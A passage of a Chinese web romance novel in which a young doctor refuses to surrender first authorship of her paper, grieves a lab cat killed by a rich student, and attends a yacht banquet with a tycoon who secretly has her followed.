自顾自地把孙洛那边的情况讲清楚了,中心思想就一个:孙洛被林逸那个不要脸的资本家给坑了。 江明月其实不太相信林逸会干这种事, 她慢慢说着:“舅妈,你别多想,林逸我接触过几次, 为人挺随和的,处事也有风度, 不至于因为一次车祸揪着小洛不放。” 外卖盒里的葱油拌面坨在了一起,江明月一边说,一边拿筷子抖散面条,将就着吃了两口。 舅妈声音放缓:“林逸你接触过?那太好了,月月,你能不能跟他商量一下, 让小洛少赔点钱。” 孙洛说“说不定不用赔钱”,她倒也不指望,能少赔点就行,不用到卖房子的地步就好。 江明月听得一怔:“林逸之前是在我们医院住院,但他好像早就出院了,我上哪儿找他去?” “你没有他电话吗?” “电话倒是有……但我跟他不熟啊,我开不了这个口,他也不见得会给我这个面子。” 舅妈深深叹气:“你就试着问问吧,不行就算了。哎,当初小洛说要趁暑假去趟海城,我就不该答应他。他要是没去海城,那个小姑娘就不会怀孕,也不会牵扯出后面这么多事来。月月,我也不是怪你啊,但小洛在海城的那几天,你确实没把他管好。” 江明月无言以对,好半天才说:“小洛一个成年人,还需要我管吗?何况他长了腿,呵,三条,他想去哪儿干什么,是我能控制的吗?” 舅妈听出江明月不太高兴了,连忙把话圆回来:“所以我说不怪你,真不怪你。月月,我刚刚嘴快多说了两句,你别往心里去啊。林逸那边,你再帮忙问问,谢谢你了啊!”- 江明月又吃了两筷子拌面,感觉全噎在了嗓子里,只好就着奶茶往下咽。 一顿午饭潦草地吃完。她清理好桌面,给林逸打电话。 接电话的是林逸的助理,成雷。 成雷说林逸正在开会,不方便接电话。 今天是周六休息日,这会儿又是午休时间,正常来说,不会有人这个点还在开会。 江明月猜测林逸只是不想接电话,拿开会当借口。她也不意外,笑着说:“那不好意思,打扰了。” 她就说她和林逸不熟吧。现在电话也打了,对舅妈也算有个交代。 成雷忽然说:“江小姐,您稍等一下,我去问问林总会议还有多久结束。”- 林氏地产的总部位于海城最繁华的核心地段,是一座55层高的超高层建筑。 顶楼会议室内,空调吹出暖风习习,但室内的气氛压抑而冷寂。 在座的一名高管不自觉地搓了下手:“林总,时间不早了,我小孙女还在家里等我吃饭,要不我们下次再聊?” 其余几名高管纷纷附和:“是啊,下次再说吧。” 坐在首位的林逸勾着一抹浅笑,淡然道:“现在全球经济下行,地产行业也不景气,集团转型势在必行,各位既然不认可这个观点,不妨谈谈自己的看法,谈完再走也不迟。” 众人面面相觑,没有一个人再出声。 集团转型,无异于从他们这些元老手中夺权。他们怎么可能同意?只好在这儿干耗着。 这时,会议室传来两记敲门声。随后成雷推开一条门缝,端着一杯咖啡,错身走了进来。 林逸的肋骨完全长好了以后,方修远便勒令他出院。林逸出院之后满世界飞,敲定了一系列大项目合作,最近才回到海城。 回来以后,他将办公室的咖啡豆都换成了低因咖啡豆——一种采用了瑞士水浸处理法的豆子,口感和风味上几乎没有改变,但豆子内部绝大部分咖啡因都被溶解了,很适合咖啡因不耐受的人。 成雷给林逸送上咖啡的同时,小声地说了一句:“刚刚江小姐来电话了。” 林逸站起身:“这样吧,各位回去写一份书面的意见,下周一交上来。散会。” 众人望着林逸步履匆匆地走了,松了一口气的同时,又有些困惑。 其中一人距离林逸的座位很近,刚刚隐隐听见成雷对林逸说有电话,于是抓住成雷打听:“谁给林总打的电话?他怎么这么着急?会都不开了。” 成雷笑了笑:“不清楚。”- 因为成雷说让稍等一会儿,江明月就没挂断通话,开着免提放在旁边。 几分钟后,她听见手机里传来林逸的声音:“明月。” 真在开会啊? 江明月关掉免提,握着手机贴近耳边:“抱歉,打扰你工作了。那个……我的表弟你还有印象吗?” “嗯?” “就是之前开车不小心撞了你的那个人。”江明月说到这儿,都有些难以启齿了,怎么孙洛回回犯事儿都和林逸有关联,“他今天在贵公司的工地上出了点事故,涉及到赔偿,嗯……虽然他家里条件还可以,但是赔偿的数额比较大,对他家也是不小的负担。你看能不能酌情减少一些赔偿?” 林逸问:“你下周六值班吗?” 江明月不知道他为什么忽然问这个,不过还是照实回答了:“不值班。” “那当天有别的安排吗?” “没有啊。” “你表弟的事,我来处理。既然你开了口,钱就不用他赔了,你放心。” 江明月没预料到这个发展,都忍不住用上敬称了:“谢谢您,我转告一下他家长辈,有机会的话,一定登门拜谢您。” “明月,我们不是朋友吗?帮朋友的忙,我认为是应该的,你觉得呢?” “呃,是啊。” “那好,我刚好也想请你帮一个忙。” 江明月心头微顿,听见林逸接着说:“之前我也跟你提过,年前我有一个商务晚宴要参加,想找你陪同出席。时间就在下周六,上次你说工作忙怕抽不出时间,刚巧,你下周六没有工作安排。我想你应该不介意帮我这个忙吧?” 江明月第一次有种骑虎难下的感觉。 这感觉就像本来好好地走在路上,前面有个岔路口,两条道,走哪边都可以。但走着走着发现,其中一条岔路已经被堵住了,回头一看,后路也被封死了。现在只剩一条路通的,不走也得走。 “不介意。” 江明月想起上回林逸之所以请她帮忙,是因为他那方面出问题了,没心思找什么女伴,那这次还来找她…… 她不由问:“你那个病……还没治好?” 林逸:“……” 这种病吧,拖得越久问题越大。江明月也挺为他着急,劝道:“你要不去找个中医看看?中医看这类疑难杂症还挺有一手的。” “……” 林逸问:“下周六我提前来接你,可以吗?” “可以。”江明月听出对方在回避这个话题了。她善解人意,不再多说- 成雷应付完几位高管,从会议室出来的时候,林逸已经结束了通话。 他站在落地窗边往外眺望,不远处就是海城的地标建筑。今天天气很好,能见度很高,繁华街景尽收眼底。 “跟老穆说一声,”林逸跟走过来的成雷交代,“孙洛的事就不追究了。” 成雷点点头。又不自觉地想起几天前,林逸也是站在这个位置,他向林逸汇报,孙洛目前在林氏负责开发的某个工地上打杂。 他当时还犹豫要不要汇报。毕竟老板只让他盯好江明月,没说连她表弟一起盯。 林逸听后,也只是漫不经心地吩咐了一句:“让他犯点错。”- 深夜,弯月如勾,倒挂在漆黑的天幕,柔和的月光如同薄纱,笼罩天地。 凌晨两点,沈归时刚跟完一台手术。回去之后发现书房灯火通明,江明月坐在书桌前,对着一台电脑敲键盘。 现在天气冷了,晚上气温很低,但她穿得很单薄,橄榄绿色的桑蚕丝睡裙堪堪及膝,外面穿了件加长的法兰绒睡袍,腰带打了一个简陋的结。睡袍下摆因为她的坐姿自然地垂落,光洁纤细的小腿裸露在外。 沈归时在书房外看了一眼,折去客厅,取下沙发上的羊绒披肩,轻手轻脚地回书房,将羊绒披肩盖在江明月的腿上。 “怎么不多穿点?夜里冷,别着凉了。” “刚洗完澡,懒得换厚衣服。”江明月匆匆抬头看他一眼,双手还搁在键盘上,“我开地暖了,过会儿就不冷了。” 沈归时知道她最近在忙着写论文二稿,已经连续肝了好几晚了。 他想让她早点休息:“两点多了,明天再写?” “就快写完了。你今天怎么回来这么晚?手术不顺利?” 沈归时说:“嗯,术中唤醒的时候病人醒不过来,后来麻醉的唐老师亲自过来调整了用药,病人醒了,7岁的小朋友,不太配合,一直在说脑子好疼。” 沈归时回到神外之后,科里就没放他走。目前大大小小的开颅手术他都观摩过了,他手稳,活儿细,几位主刀都愿意给他实践的机会,不困难的部分直接让他上手操作,他成长得飞快。 江明月问:“脑子有痛觉?” 应该是没有的。 沈归时说:“烧到硬脑膜了,多少会有点痛感。” 江明月“哦”了声,又说:“我还有几个名词的翻译不太确定,我再查一下。王院长让我二稿写完以后拿给他看看,我想今天一鼓作气弄好,明天就去找他。” “王院长?王询?” “对。” “我记得他是分管人事的,他要看你论文干什么?” “不知道,我也挺奇怪的。”二稿基本改出来了,江明月现在的状态很松弛,手背挡住了半张脸,打了个哈欠继续说,“明天去找他就知道了,他有什么考虑到时候肯定会说的。” 沈归时站在她旁边看了一会儿,发现她已经把论文中需要再确认的地方全部标黄了。 他自然而然地握了握她的手:“你先去睡觉,剩下的我帮你核对。” 江明月说:“不用,你也辛苦了,早点去休息。” “没事儿,我不困。”沈归时微微俯身,在她右侧耳边问,“还是说,你不相信我的学术能力?” 微热的呼吸落在耳畔。江明月觉得右边耳廓那一圈隐隐发烫。一转头,沈归时那张清俊的脸近在眼前。她不由莞尔:“我相信的,沈博。” 她轻轻啄了一下近在咫尺的唇瓣,安抚般地说道:“放心,只剩最后一点了,我很快就能弄好。最多二十分钟,就能上床睡觉,我保证!” 沈归时一动不动,目光仍在她脸上驻留。 江明月极轻地挑眉:“怎么?没亲够?” “……” 沈归时站直身子,“今天就算了,不耽误你写论文。” “可以耽误。” 羊绒披肩下的小腿轻轻勾住准备离开的沈归时,江明月拿手机定闹钟,“限时一分钟,快点。” 第35章 一分钟 她真的在争分夺秒。 沈归时下意识看了眼电脑屏幕右下角的时间。 凌晨2时15分。 一分钟。 江明月揪着他大衣的前襟, 将他整个人往下扯:“抓紧时间呀,都过去好几秒了。” 带轮子的人体工学椅随着她的动作转了半圈,现在两人面对面, 彼此贴近。她身上的味道洁净而芬芳, 有她常用的那款沐浴露特有的玫瑰香气,气味并不浓烈, 也不算馥郁,而是清新凛冽。她像雪山之上的玫瑰庄园里, 最恣意娇艳的那一枝。 她真的在争分夺秒。很主动地启唇,略去了一切轻柔的啄试, 直接就是急切的探索,招摇而鲁莽。但又因为不够熟练, 呼吸很快变得凌乱,她开始退却, 身体往后一避再避,终于退无可退, 整个人便不受控制地往下滑,盖在腿上的羊绒披肩逐渐滑落到地上,椅子开始向后挪动, 底部滚轮与柚木地板摩擦出轻微的声响。 沈归时两臂展开,撑住座椅两侧的扶手, 连人带椅子,一把拉了回来。江明月彻底被锁在他的躯体和椅子之间。时间有限,他也难得那样不顾分寸,吻得又深又热切,很强势地掠取着她的呼吸。 “叮——” 凌晨2时16分,闹钟响了。 沈归时及时抽身, 将椅子上的人扶起来坐好,随后屈膝捡起掉在地上的羊绒披肩,重新盖在江明月腿上。 江明月眼中浸着一点点水汽,像是一层薄雾。缓了几秒,她关掉闹钟,挪动椅子回到书桌前,声线趋于平稳:“好了,娱乐时间结束,该做正事了。” 她听见身后传来沈归时微低的一声“嗯”。她没回头,边看电脑边催促:“你还不去休息?” “暂时还不能。” “怎么了?” “恐怕还得去自娱自乐一下。”沈归时说得很认真,“你每次都管杀不管埋。你也就写论文的时候能好好收个尾。” 正在写论文的江明月:“……” 她非要证明一下:“来来来,你过来,我给你好好收尾。收到你满意为止!” 沈归时说:“写你的论文吧,这都几点了。” “等等啊。”江明月去拿手机,“我再定个闹钟。” “这又不是一分钟能解决的事。” 江明月拿手机的手在空中滞住,反应过来之后,说话都有点结巴了:“那……下次……等我忙完论文……我一定……” 沈归时听着她一个词接一个词地往外蹦,最后端着架子放了句狠话:“反正你给我等着!” 她在这方面真的很爱逞能,带着她骨子里那股不肯认输的骄傲劲儿。但她也只在嘴上逞能,真让她来,她又退缩得飞快。 沈归时淡定点头,给她台阶下:“好,我等着。”- 论文二稿写完时,沈归时也从淋浴间里出来了。两人各自回房间睡觉。 翌日,江明月再次把论文通读了一遍,确认没什么问题以后,带着全文打印稿,去院长办公室找王询。 王询一看到江明月,便亲切地招呼她坐下。江明月把论文递给他,王询戴上眼镜,从头开始仔细浏览。 片刻之后,王询摘下眼镜,笑容满面地夸奖道:“小江,你这篇写得很好啊,数据非常翔实。” 江明月心说这里面还涵盖了上一批阵亡的小白鼠的部分数据,肯定详细又扎实啊。 “谢谢王院长。” 王询问:“你最近工作怎么样?在生殖科还算轻松吧?” 江明月点头:“最近还行。” 生殖科相较于本院其他科室,确实算是轻松的。 王询说:“生殖科挺适合你们女孩子干的,基本没有夜班,手术简单又干净,病人的依从性高,医患矛盾也少。我有个朋友家的小孩,以后也想干生殖。” 江明月隐隐感觉王询要切入正题了,连忙打起精神。 王询接着说:“那个小孩也是海大的,你的师妹,叫贺霜,你认识吗?” 江明月摇摇头。 “嗯,你们差好几届呢,不认识也正常。”王询起身泡了杯茶,顺手把办公室的门关了,“贺霜的科研水平,不高。她现在想保研,还差一篇论文一作。小江,我看你这篇写得不错,投出去肯定能录用。你看,能不能把一作让给贺霜,你当二作?” 江明月无声地望着王询,眼眸微微睁大。 王询被她这眼神看得尴尬,他别开视线,慢悠悠地说:“一晃都年底了,马上又要年终考核了。我听说,你的工作很有实效,经常收到患者的锦旗和感谢信,今年的年度考核应该能评个优秀。” 年度考核分为四个等级:优秀、良好、称职、不称职。其中,评“优秀”是有人数限制的,这是一项可以写进履历的荣誉。获评“优秀”的那一年,年终奖还可以加0.3的系数。 王询这话的意思已经很明显了——只要江明月答应他的要求,今年的“优秀”必定有她一份。 江明月知道有的人会把自己论文第一作者的头衔拿出去,做一些等价或者没那么等价的交换。 但她不会。 她站了起来:“王院长,我一会儿还有手术,我先走了。您放心,您刚刚说的事,我不会告诉外人的,我就当我今天没有来过您办公室。” 王询咳了一声:“我知道,你爱惜自己的实验成果,舍不得让给别人。这样吧,让贺霜和你做共一,你看行不行?” 共同第一作者,保研也是承认的。 江明月险些冷笑出声:“这种简单论文还有共一?不好意思,我嫌丢人。” 王询神色讪讪:“小江啊,你手上大小论文一堆,根本不缺科研经历,少了这一篇,对你也没什么影响。但是贺霜要保研,就差这么一篇论文啊。这样吧,今晚我订个餐厅,你们坐下来一起吃个饭,互相认识一下,怎么样?” 江明月摇头,态度还算得体:“不怎么样。王院长,不是我不给您面子,那个贺霜都没有来过实验室,结果我的论文挂上了她的名字,您让实验室别的同事怎么看我?这件事我无论如何都不可能答应,请您见谅。” 王询抿了口茶,笑了笑:“你说得也对,那我让贺霜空了就去实验室,跟你多学学。论文的事你再考虑一下,贺霜的家境不错,她会好好感谢你的。” 第36章 项链 他梦见过,无数次。 江明月根本不会考虑。 论文是她不知道熬了多少个晚上写出来的, 怎么可能把一作让给别人。 不过,她一直打算带赵彤上论文二作。 毕竟赵彤是实打实地跟着她起早贪黑了那么多天,做实验、比对数据, 一块儿熬过来的, 不能让人家白干活儿。 周六到了实验室,江明月把这个想法告诉了赵彤。 赵彤是南方姑娘, 个子不高,愣是跳起来抱住了江明月, 激动道:“明月姐,以后你就是我亲姐!” 实验已经做完了, 赵彤本可以不再过来了,但她惦记着养在实验室的小核, 依旧每天早上过来喂猫,顺便给实验室其他师兄师姐打打下手。 江明月抱着电脑坐在实验室最后面, 打算把二稿再修缮一下,改改格式, 年前就发给期刊编辑。 小核在江明月身边绕了几圈,见她不为所动,嗖地一下跳上了键盘。 江明月望着电脑上被踩出来的乱七八糟的字符, 又好气又好笑,拎着猫后颈, 教训道:“干正事儿呢!别来胡闹!” 小核喵喵两声,踩着猫步溜走了。 片刻后,实验室传来一阵敲门声。 赵彤以为是谁点的外卖,边开门边说:“外卖放门口就行了。” 门一打开,她发现来人不是外卖员,而是一个衣着靓丽的年轻女孩。脸上戴着墨镜, 一身烟粉色长款羊绒大衣,两个袖口各有一圈蓬松的狐狸毛,腿上是一双尖头细跟的长筒靴,手上还拎着一个粉色金扣的鸵鸟皮小包,一眼看去,贵气逼人。 “你好,你找谁?”赵彤问。 来人摘下了墨镜,神情倨傲:“谁是江明月?” 她墨镜摘下以后,赵彤就觉得这人有些眼熟,像是在学校里见过。她回忆了几秒,很快想起了对方的姓名:“贺霜?” 贺霜在学校也是这种千金大小姐的打扮,很有辨识度。虽然赵彤在研究生院,但大家都是医学院的,她跟贺霜打过几次照面,有些印象。 贺霜瞥了眼赵彤,不耐烦地问:“问你话呢,谁是江明月?” 贺霜踩着高跟鞋,比赵彤高出了半个头。赵彤微微挺直了背,问她:“你找江师姐什么事?” “废话真多。”贺霜推开赵彤,迳自往实验室里面走。 小核颠颠地跑过来,友好地蹭了蹭贺霜的长靴。 贺霜抬脚将猫踢开,一脸嫌弃:“哪里来的脏猫。” 赵彤急了:“喂!你找人就找人,踢猫干什么!” 实验室里,不少人抬头望了过来。 贺霜那一脚力道不小,小核被踹出好远,直接撞到了墙上。赵彤飞奔过去,半跪下来查看小核的情况。小核原地趴了一会儿,支起四条腿,抖了抖身上的猫毛。 赵彤不太放心,喊道:“明月姐,你来看看小核,不知道它有没有受伤。” 坐在实验室最后的江明月刚刚一直在专心弄论文,这会儿听见赵彤的喊声,才发现进门的地方站了个面色不善的陌生人。她合上电脑,朝赵彤走了过去。 赵彤看到江明月,就仿佛看见了主心骨,指着贺霜气呼呼地告状:“这人刚刚踹了小核一脚!” 贺霜打量着逐渐走近的江明月,轻慢道:“你就是江明月?” 江明月蹲下来翻看小核,四肢骨头都摸了一遍。这猫一身肥膘,皮实得很,撞一下也没伤到哪儿。 她轻轻顺了顺猫背上的毛,抬头看向贺霜:“你是?” “我是贺霜。” 这个名字报出来,江明月就知道她是王院长安排过来“学习”的。 江明月直接下逐客令:“你请回吧,这里不需要你。” 贺霜抱臂,微微吊起眉梢:“是王询叔叔让我过来的。” “我知道,你的事王院长跟我提过了,我明确告诉你,我绝不会同意。”江明月还是给她留了面子,当着一屋子人的面,没有说具体是什么事,“另外我劝你一句,没本事学医就趁早转专业,救死扶伤,人命关天,靠弄虚作假没用。” 贺霜哼笑:“你不同意就不同意呗,又不止你一个人会写文章,你不答应我就去找别人,总有人会同意的。我告诉你,拒绝我是你的损失,你等着后悔吧。” 江明月懒得多说,打开大门,冲贺霜做了个“请”的姿势,意味很明显。 贺霜翻了个白眼,拎着小包往外走。经过小核的时候,她顿住脚步,尖细的高跟鞋忽然转了个方向,对准小核的头踩了下去,鞋跟在上面重重地碾了两下。 小核发出了一声凄厉的猫叫。 “你干什么!”江明月一把将贺霜扯开,力道大得几乎要把贺霜掼倒。 贺霜踉跄了一下才站稳,骄纵的神情依旧写了满脸:“不干什么,就是先给你一个教训。” 江明月弯腰把小核抱了起来。大橘猫眼睛紧闭,鲜红的血从淡粉色的鼻头里涌了出来,她不敢耽误,立刻飞奔出去,往附近的宠物医院跑。 “你有病啊!”赵彤吼了句贺霜,急急忙忙地追了出去- 这段时间江明月常常来买猫粮,宠物医院的医生都认识她了,隔了好远,就笑吟吟地扬手打招呼。 随即发现江明月衣服上都是血,怀里还抱着一只猫。宠物医生的瞬间收了笑,神情变得严肃起来。 江明月是一路跑过来的,跑得上气不接下气,把小核放到台子上,仍喘着气,一句完整的话都说不出来:“头……被人踩伤了……你快看看。” 赵彤也赶到了,看见小核一直处于昏迷状态,急得都要哭了。 宠物医生拍了片子,指着电脑上的影像,紧锁眉头:“头骨骨折,基本都碎了,你们放弃吧。” 赵彤睁大眼睛,眼泪就这么滚落出来:“它……它还有呼吸啊,还没有临床死亡,你得抢救啊!” 宠物医生无奈地看着她:“你看它现在呼吸已经非常困难了,这是颅内压升高的表现之一,再加上这么严重的外伤,已经没有救回来的可能性了。” 江明月摸出大衣口袋里的手机,拨出电话。 接通之后,她喊了声:“沈归时。” “嗯。” 江明月很久没有说话。直到沈归时出声问:“怎么了?师姐?” “你说……颅骨骨折,还有救吗?” 沈归时同样安静了一会儿,嗓音微低,像隔着一层雾:“是哪种颅骨骨折?” 他那边的背景音里传来旁边人的声音:“别动我显微镜啊。” 江明月闭上眼,一滴泪毫无预兆地从她的眼角滑落:“你先忙手术吧,我过会儿再跟你说。” 何必求证。 她和赵彤都是学医的。 她们都很清楚地知道,小核没救了- 小核离开得很快。 短短几分钟内,它失去了呼吸和心跳。 赵彤崩溃大哭,边哭边说:“小核,下辈子别偷吃实验室的小白鼠了,没什么好下场。” 江明月轻轻说了声:“傻猫。” 以为世界上所有人都是好人。 赵彤说,她听说小动物埋骨的地方会一直飘荡着它的灵魂。她想带小核回她的老家,埋在她老家的山上。那里有轻盈自由的山风,和小核爱吃的苹果树- 江明月没心情写论文了,回海城名邸换了身干净衣服,将沾了血的大衣送到小区门口的洗衣店干洗。 忙完以后,她开始琢磨给哪个老师写举报信比较合适。 很巧,她当年就是保送读研的。负责保研的几名老师她都认识。 贺霜要是能顺利保研,她江明月把名字倒过来写。 正琢磨着,林逸来了电话,说要来接她一起去赴宴。 江明月问:“这么早就去?” 现在才下午三点多。 林逸说:“先带你去做造型。” 江明月没什么异议,报了地址。 林逸可能刚好在附近,说马上到。 江明月下楼,走到小区门口,一辆黑色轿车打着双闪在等她。 她看到前面坐着司机和成助理,就开了后座的车门。林逸也在,江明月朝他点了点头,与他隔开一个座位,坐在了后排的另一端。 她一上车,林逸就察觉到她状态不太对。 她似乎很久没有好好睡觉了,眼下一层青色。眼尾泛红,像是不久前才哭过的痕迹。整个人气息内收,但周身都冒着冷意。 林逸侧头望她:“怎么了?心情不好?” 江明月摇头:“没事。” 显然不想多说。 成雷悄悄透过后视镜打量着后排的两人。 林逸出院以后,就让他派人盯着江明月的行踪。江明月也不难盯,每天就是医院、实验室、海城名邸三个地方来回跑,经常工作到很晚才回家。成雷以前是真不知道当医生这么辛苦,现在对这个职业都有点由衷的敬意了。 在这个过程中,他也得知了这位江医生还有一个同居男友,是个实习医生。两人感情非常好。成雷每每想到这个,都有种恨铁不成钢的感觉。海城那么多漂亮女孩儿,老板他选谁不好,为什么要选一个心有所属的人? 正想着,成雷听见身后人的手机响了。 随后是江明月接电话的声音:“嗯,你手术结束了?今天还顺利吗?不是……是小核,就是之前吃我论文的那只橘猫……医生说它颅骨全碎了……被人踩的……我现在很难受……具体我晚上回来跟你说,对了,我今天可能要晚点回来,你先吃饭,不用等我。” 江明月挂了电话,车子里安静得可怕。 成雷在心底疯狂叫嚣:江小姐你这也太区别对待了吧!我老板刚刚问你是不是心情不好,你说没事,然后转头就跟自己男朋友说了这么多,你让我老板心里怎么想?你哪里不痛快了,你倒是说出来啊。难道你面对我老板,这点分享欲都没有吗? 成雷也只敢在心里想想,嘴上一句话也不敢说。但他能感觉到,车里的气氛沉闷又压抑,尤其他斜后方那个位置,气压很低。直到车子停下,他下车透了口气,总算觉得能顺畅呼吸了。 车子停在了一家造型工作室门口。 江明月听说过这个工作室,据说经常给明星做造型设计,定位很高端,场地也比较私密。 成雷上前跟工作人员说了几句话,很快就有一名身材瘦高的造型师走了过来,“哇”了一声:“江小姐,您底子这么好,都不用怎么化妆了。跟我上二楼好吗?我们先去选衣服。您有偏好的穿衣风格吗?” 江明月说:“天气冷,穿厚一点。” “没问题!” 造型师挑了件杏色针织长裙,掐着兰花指问:“这条可以吗?羊绒用料,非常保暖。而且这一条是秀场款哦,外面买不到的。” 江明月扫了眼,虽然是大V领,但是有袖子,还是长袖,上身应该挺暖和的。 她点了下头。 造型师让她去试衣间换上试试。 裙子是非常修身的版型,衣料服帖地修饰着身体的曲线。 造型师惊叹:“江小姐,这条裙子简直是为您量身定做的。您知道吗?这条裙子的腰身被改小过两次,我敢肯定,除了您没有人能把这条裙子呈现得这么完美。” 江明月知道造型师面对客人肯定都拣好话说,多少有点夸张的成分。她笑了笑:“谢谢。” 工作室里开着空调,暖风熏然。 造型师将化妆椅靠背放倒,给江明月敷了张面膜。等揭开面膜准备上底妆的时候,江明月竟然已经睡着了。 造型师一时不知道要不要把江明月叫醒,跑去问林逸。 林逸将手中的杂志闲闲地翻过了一页:“让她睡。” 他想到了她眼下那一层淡青色。 她每天回去以后都在忙什么?睡眠很少吗?怎么在这儿都能睡着? 造型师闲了下来,便跟林逸闲聊:“您对您女朋友真好。我做这行很多年了,女生做造型的时间比较长,很少有男士愿意一直在这儿等。” 林逸淡然抬眸。 造型师又问:“您和江小姐是怎么认识的?在一起多久了?” 成雷拚命对造型师使眼色,想让他别问了,可惜造型师一个眼神都没接收到。 林逸未置一词,只是偏头看成雷:“项链。” 成雷连忙从公文包里抽出一个首饰盒,递给造型师。林逸下巴轻抬,点了点不远处的江明月。 造型师会意:“我懂,纪念日礼物是吗?我看看和江小姐今天的裙子搭不搭,如果合适的话,我待会儿直接给她戴上。” 首饰盒打开。里面安静地躺着一条粉钻流苏项链,光彩夺目,华美绝伦。 造型师颇有见地,一眼就认了出来:“是上个月香港那场慈善拍卖会的拍品?听说竞拍到了全场最高价,原来买主是您啊。” 林逸上个月到香港出差,刚好贺冰也在香港,拉着他一起去了那场拍卖会。 贺冰淘到了三只古董酒杯,说等回了海城,再叫上方修远,仨人一起用这个杯子喝一顿。不图别的,就图个氛围感。 当天的压轴拍品就是这条项链。 项链原本是沈氏珠宝的藏品。为支持慈善事业,沈氏将这条项链捐了出来,起拍价600万港币,价高者得。 主持人说这条项链是某位珠宝设计大师生前最后一个杰作。 也不知道是不是为了藉机结交沈氏,竞拍的人很多,但最终还是让林逸拍下来了。 拍卖会结束后,候在场外的记者蜂拥而至,举着话筒问林逸—— “林先生,您拍下这条项链是准备自己收藏吗?” “林总,您买下沉家的藏品,是不是有和沈家合作的打算?以后会进军珠宝行业吗?” “林先生,听说您一直在金融圈深耕,对投资风向很敏感,请问您目前是有投资高奢珠宝的计划吗?” …… 林逸回绝了所有记者提问。 他只是觉得,这条项链华美精致,很衬那一对细长平直的锁骨。 仅此而已。 那一对锁骨。 他梦见过,无数次- 江明月睡得并不深,大概过了二十几分钟,就自行醒了过来。 造型师继续给她上妆,卷了头发,最后给她戴上了一条项链。 “哇哦,林先生的眼光真好,这条项链和您的气质很搭。”造型师笑眯眯地说,“江小姐,我这边造型就做好了哦,您看看有哪里需要再做调整吗?” 江明月望了眼镜子。 流苏项链中间最长,往两侧渐短,每一根流苏都连缀着两颗水滴形艳彩粉钻,璀璨而细腻。 虽然江明月对珠宝的了解不深,但也能看出来这条项链价值不菲。她转念一想,她要陪同林逸出席晚宴,他把这种贵重首饰借给自己撑撑场面,也很正常。 “挺好的,谢谢你。”江明月对造型师说。 外面的天暗了下来,天气预报说要下雪。 今年的第一场雪。 海城冬天湿冷,西北风能往骨头缝里钻。 江明月穿上大衣,扣紧领口的暗扣,把脖子挡得严严实实。一出工作室大门,就往开了暖风的车上飞奔。 林逸视线追着她的背影,不自觉地微笑。 造型师过来送客:“林先生慢走,祝您和江小姐幸福长久。” 成雷脸都黑了,心想你可别再说了吧。 结果下一秒,他听见自己老板轻笑一声,说:“谢谢,承你吉言。”- 车上。 刚刚那一觉没睡够,江明月坐下之后,继续靠着车窗闭目养神。 司机开得很稳。她感觉自己迷迷糊糊又睡了一会儿。 大约过了一个钟头,车子缓缓停下,前方不远处,一艘灯光璀璨的小型游艇停泊在江边码头,游艇桅杆上的装饰气球随风飘动。 江明月坐直身子。 林逸见她醒了,淡声问她:“还困吗?可以再睡一会儿” 成雷不敢置信地低头翻手机,又把晚宴时间表翻出来核对了一下。 晚宴七点开始,现在已经七点半了。晚宴主办方为了等林逸,游艇一直靠岸,到现在都没出发。 再睡一会儿? 就这么让主办方一直等? 江明月说:“不用,休息够了。” 林逸问:“昨晚睡得不好?” 江明月顺口接道:“不止昨天,我这段时间忙着写论文,差不多有两个礼拜没在凌晨一点之前睡过觉了。” 她说到这儿,极轻地冷笑了一声:“拿命换来的论文。” 拿命? 她这一句说得煞有其事,不像是在夸张。林逸联想到她上车之后在电话里提到的“橘猫”、“颅骨全碎了”,不可避免地把两件事联系了起来- 几人登上游艇。 游艇共有三层。一层的餐厅简约明亮,奢石长桌带着冷光翡翠的质感,纯色桌旗上方摆放着搭配得宜的黄玫瑰。餐厅尽头是一个带KTV的会客室。二层有两个套房休息室,休息室的另一侧是观景露台,几位来宾顶着凛冽寒风,在那里谈笑风生,特聘的摄影师举着打光板,为他们合影留念。 林逸把江明月送到二层休息室门口:“你先进去坐一会儿,我去跟几个熟人打个招呼。” 江明月推门进去。 主宾到场。游艇缓缓驶离码头- 成雷主动问:“林总,您想找谁?我帮您看看人在哪里。” 林逸走远两步,转身问成雷:“她今天去哪儿了?” 成雷愣了下,才意识到林逸问的是江明月。 所以老板根本不是想去社交,只是找个借口支开江小姐,单独问他这个问题。 反应过来之后,成雷习以为常地流利转述:“早上七点半左右,江小姐从海城名邸出发,步行到实验室。上午十时许,江小姐抱着一只猫去了附近的宠物医院,三十分钟后,江小姐回到实验室,没待多久就回海城名邸了。下午一点,江小姐去了海城名邸对面的洗衣店,顺便拿了一个外卖。到下午三点一刻,您去接她,后面她的行程您也知道了。” “那只猫……”林逸认为这就是江明月今天从上车开始就情绪不佳的症结所在,“怎么样了?” 成雷为难道:“不清楚。” 他是安排了两组保镖轮流盯着江明月的行踪,但不可能事无钜细什么都了解。更何况保镖怕被江明月发现,一直都是远远地跟着,不会靠近。 成雷说:“林总,我现在就让人去那家宠物医院问清楚。” 林逸摇头:“算了。” 虽然江明月什么也没跟他说,但她之前和沈归时有过一次通话。 从那段通话内容,林逸还是能推测出一些东西的。 她在电话里说了,“橘猫”、“颅骨全碎了”、“被人踩的”。 这几个字眼已经足够让林逸拼凑出事情的经过了。同时也确定了一件事。 有人招惹了她。 那个踩猫的人。 成雷感觉老板周身的气压更沉了。他不由开始反思,是不是自己盯江小姐盯得还不够到位。但这也没办法更到位了啊,要想什么细枝末节都知道,得在她身上安窃听器。 这时,成雷提在手里的公文包轻轻振动起来。 他从包里拿出手机递给林逸:“林总,贺少电话。” 林逸接通,就听见贺冰在电话里咆哮:“林逸你人呢?快来休息室!你带来的人把我妹妹打哭了!” 第37章 找 怀疑 休息室是一间附带浴缸的大套房, 金光璀璨的欧式装修,水晶吊灯华丽优雅。 江明月进去之后,发现墙边有一个实木壁炉, 虽然是仿真火焰, 但很有冬日的氛围感。 几步之外,焦糖色的沙发上窝着一个人, 正在低头玩手机。 江明月走过去,准备拣个空位坐会儿。 沙发上的人察觉到有人过来, 本能地抬头。 “你怎么会在这……” 贺霜的话还没问完,江明月直接快走两步到她面前, 一巴掌甩了上去。 “啪!” 响亮而清脆的一记声响。 贺霜长这么大估计都没遇到过这种事,第一反应是茫然地捂住了被打的脸颊, 几秒之后,回过神来了, 空着的那只手狠狠指着江明月,厉声喝问:“你敢打我?” 江明月反问:“不然呢?你在怀疑什么?” 她那眼神, 就像看傻子的眼神。 贺霜全身气血一下子往上涌,脸涨得通红,腾地一下从沙发上起来, 张牙舞爪地去抓江明月的大衣外套。 江明月闪避得很快。 得益于沈归时有很好的健身习惯,江明月有时会跟他一起锻炼, 身体素质都提高了不少。 